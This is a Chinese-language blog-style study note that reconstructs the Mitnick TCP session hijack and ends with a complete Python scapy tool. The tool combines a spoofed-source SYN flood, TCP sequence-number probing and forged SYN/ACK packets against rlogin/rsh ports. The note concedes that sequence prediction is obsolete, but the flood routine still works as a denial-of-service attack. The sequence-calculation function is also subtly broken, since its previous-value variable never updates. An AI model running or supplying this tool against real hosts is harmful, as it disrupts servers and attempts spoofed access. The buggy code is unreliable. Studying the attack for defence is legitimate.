Python编写渗透工具学习笔记二
0x05编写脚本劫持tcp会话
主要是通过还原一个真实的攻击案例来进行学习,这个案例是Mitnick(下面用A来表示)闯入shimomura(下面用B来表示)的家用电脑系统。
主要用到的技术:SYN泛洪攻击和tcp序列号预测技术
情景
A要劫持B的一个tcp会话,B的电脑和某台服务器之间有可信协议。
主要做三点
01
使用scapy制造syn泛洪攻击
简单介绍:
SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。 我们都知道建立Tcp连接需要完成三次握手。正常情况下客户端首先向服务端发送SYN报文,随后服务端回以SYN+ACK报文到达客户端,最后客户端向服务端发送ACK报文完成三次握手。
而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定的时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务。
实现思路:
我们制造一些载有tcp协议层的ip数据包,让这些包里tcp源端口不断的自增一,而目的端口总是为513
我们的目的是耗尽目标的资源,填满其连接队列,使服务器失去发送tcp-reset数据包的能力。
这里我们可以使用更高级一点点的脚本
随机生成IP地址、端口发送SYN数据包
02
计算tcp序列号
实现思路:
A为了完成连接,需要在syn-ack中正确地猜出tcp的序列号,然后把这个序列号放在ack包中发送回去。
在这次攻击中A通过测试发现syn-ack包中的tcp序列号之间差值均为128000
(现在大部分系统提供更可靠的随机化的tcp序列号,这个现在不太能用了,但还是可以用来学习一下)
我们先发送一个tcp syn包,然后等待tcp syn-ack包,接收到之后我们将从这个确认包中读取tcp序列号,并打印出来,重复4次以确认这个模式确实存在。
使用scapy时scapy会自动天上tcp,ip这些字段的值,它默认会从我们的源ip地址发送。
函数calTSN的作用是接收目标ip地址这个参数,返回下一个syn-ack包的序列号
(当且syn-ack包的序列号加上差值)
03
伪造tcp连接
得到了正确的tcp序列号之后,A就开始攻击了,首先他假
冒那台已经无法做出应答的服务器,发起了一个连接请求,接着他盲发了一个序列号为2024371201的ack包,表示已经正常建立了连接。
为了重现这个行为,我们先创建和发送两个数据包。首先创建一个tcp源端口为513,目标端口为514,源ip地址为被假冒的服务器,目标ip地址为被攻击计算机的syn包,接着创建一个相同的ack包,并把计算得到的序列号填入相应的字段中,最后把它发送出去。
最后整合一整份代码,实现这个tcp会话的劫持
因为现在tcp序列号不能像上面那个案例那样简单预测,现在的tcp序列号随机性更强,所以这个攻击暂时没办法复现,但是我们可以学习其中的分析思路以及在编程方面的思想。
04
工具完整代码
#coding=utf-8
import optparse
from scapy.all import *
#syn泛洪攻击
def synFlood(src, tgt):
for sport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
#计算tcp序列号
def calTSN(tgt):
seqNum = 0
preNum = 0
diffSeq = 0
for x in range(1, 5):
if preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sr1(pkt, verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return seqNum + diffSeq
#伪造tcp连接
def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)
def main():
parser = optparse.OptionParser('usage %prog '+\
'-s <src for SYN Flood> -S <src for spoofed connection> '+\
'-t <target address>')
parser.add_option('-s', dest='synSpoof', type='string',\
help='specifc src for SYN Flood')
parser.add_option('-S', dest='srcSpoof', type='string',\
help='specify src for spoofed connection')
parser.add_option('-t', dest='tgt', type='string',\
help='specify target address')
(options, args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None \
or options.tgt == None:
print parser.usage
exit(0)
else:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
print '[+] Starting SYN Flood to suppress remote server.'
synFlood(synSpoof, srcSpoof)
print '[+] Calculating correct TCP Sequence Number.'
seqNum = calTSN(tgt) + 1
print '[+] Spoofing Connection.'
spoofConn(srcSpoof, tgt, seqNum)
print '[+] Done.'
if __name__ == '__main__':
main()